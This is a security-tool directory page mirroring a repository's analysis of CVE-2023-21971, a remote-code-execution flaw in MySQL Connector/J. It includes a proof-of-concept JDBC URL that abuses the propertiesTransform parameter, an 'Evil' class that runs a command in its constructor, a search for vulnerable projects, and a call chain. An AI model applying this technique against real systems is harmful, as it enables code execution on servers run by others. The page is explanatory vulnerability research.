Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2023-21971_Analysis — CVE-2023-21971 Connector/J RCE Analysis分析 | Kitploit
Tools/GitHubGitHub/avento/cve-2023-21971_analysis
Vulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationPapers & ResearchLearning & Education
GitHubavento/cve-2023-21971_analysis

CVE-2023-21971_Analysis

CVE-2023-21971 Connector/J RCE Analysis分析

View Repository
32313 years agoNot yet reviewed
Share

CVE-2023-21971 Connector/J RCE Analysis

References

Remote Code Execution (RCE) in com.mysql:mysql-connector-j | CVE-2023-21971 | Snyk

New Vulnerability in MySQL JDBC Driver: RCE and Unauthorized DB Access

MYSQL JDBC Deserialization Analysis - 跳跳糖 (tttang.com)

Vulnerability Overview

Vulnerability in Oracle MySQL's MySQL Connectors product (component: Connector/J). Affected supported versions are 8.0.32 and prior. This difficult-to-exploit vulnerability allows a high-privileged attacker to compromise MySQL Connector by accessing the network through multiple protocols. A successful attack requires human interaction from someone other than the attacker. A successful attack on this vulnerability could result in unauthorized abilities causing MySQL Connector to hang or frequently and repeatedly crash (complete DOS), as well as unauthorized update, insert, or delete access to some MySQL Connector accessible data, and unauthorized read access to a subset of MySQL Connector accessible data.

Impact scope:

  • affected at 8.0.32 and prior

Search

Search for projects depending on mysql-connector-java on GitHub.

filename:pom.xml mysql-connector-java

By searching on GitHub, you can find dependencies on a specific version of mysql-connector-java.

filename:pom.xml mysql-connector-java 8.0.32

PoC

conn = DriverManager.getConnection("jdbc:mysql://localhost/test?" + "user=test&password=test&propertiesTransform=com.example.MyArbitraryClass");

Analysis

src/main/core-api/java/com/mysql/cj/conf/ConnectionUrl.java

image-20230607113458073

Obviously, we can control propertiesTransformClassName, and calling newInstance() will automatically invoke its no-argument constructor.

this.propertiesTransformer = (ConnectionPropertiesTransform) Class.forName(propertiesTransformClassName).newInstance();

Obviously, we can write a demo to verify this.

Reproduction Environment

Maven Repository: com.mysql » mysql-connector-j » 8.0.32 (mvnrepository.com)

<!-- https://mvnrepository.com/artifact/mysql/mysql-connector-java -->
<dependency>
    <groupId>mysql</groupId>
    <artifactId>mysql-connector-java</artifactId>
    <version>8.0.32</version>
</dependency>

Here we directly download the Jar file and import it into the IDEA project's Libraries.

Test.java

import java.sql.Connection;
import java.sql.DriverManager;

public class Test {
    public static void main(String[] args) throws Exception {
        Class.forName("com.mysql.jdbc.Driver");
        Connection conn = DriverManager.getConnection("jdbc:mysql://localhost/test?" + "user=test&password=test&propertiesTransform=com.jeyiuwai.Evil");
    }
}

com.jeyiuwai.Evil

package com.jeyiuwai;

import com.mysql.cj.conf.ConnectionPropertiesTransform;

import java.io.IOException;
import java.util.Properties;

public class Evil implements ConnectionPropertiesTransform {
    public Evil() throws IOException {
        Runtime.getRuntime().exec("calc");
    }
    
    @Override
    public Properties transformProperties(Properties properties) {
        return null;
    }
}

image-20230607144859000

However, the Evil class is created locally, and none of the dependencies implements the ConnectionPropertiesTransform interface. Is this a vulnerability that is not useful?

image-20230607145253977

Through experiments, we found that the Evil class does not need to implement the ConnectionPropertiesTransform interface to execute commands.

image-20230607145521241

Call Chain

setupPropertiesTransformer:382, ConnectionUrl (com.mysql.cj.conf)
collectProperties:370, ConnectionUrl (com.mysql.cj.conf)
<init>:347, ConnectionUrl (com.mysql.cj.conf)
<init>:47, SingleConnectionUrl (com.mysql.cj.conf.url)
newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)
newInstance:62, NativeConstructorAccessorImpl (sun.reflect)
newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)
newInstance:423, Constructor (java.lang.reflect)
handleNewInstance:192, Util (com.mysql.cj.util)
getInstance:167, Util (com.mysql.cj.util)
getInstance:174, Util (com.mysql.cj.util)
getImplementingInstance:241, ConnectionUrl$Type (com.mysql.cj.conf)
getConnectionUrlInstance:211, ConnectionUrl$Type (com.mysql.cj.conf)
getConnectionUrlInstance:280, ConnectionUrl (com.mysql.cj.conf)
connect:195, NonRegisteringDriver (com.mysql.cj.jdbc)
getConnection:664, DriverManager (java.sql)
getConnection:270, DriverManager (java.sql)
main:12, Test
Download Tool

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    546
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    477
  • 3

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    377
  • 4

    redforge

    cybersecurity91/redforge

    Browser-side red team toolkit with 102 offline tools for recon, payload generation, credential attacks, crypto, encoding and engagement reporting.

    324
  • 5

    estorides

    grisuno/estorides

    Aggregates 99+ free OSINT sources in parallel, resolves entities into a knowledge graph, and exports STIX 2.1, MISP, or GraphML with LLM-assisted analysis.

    269
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    The system of action for AI-native cybersecurity—where intent becomes governed execution, evidence becomes operational memory, and every operation improves the next.

    252

Explore all tools

Browse our collection of tools

View all tools →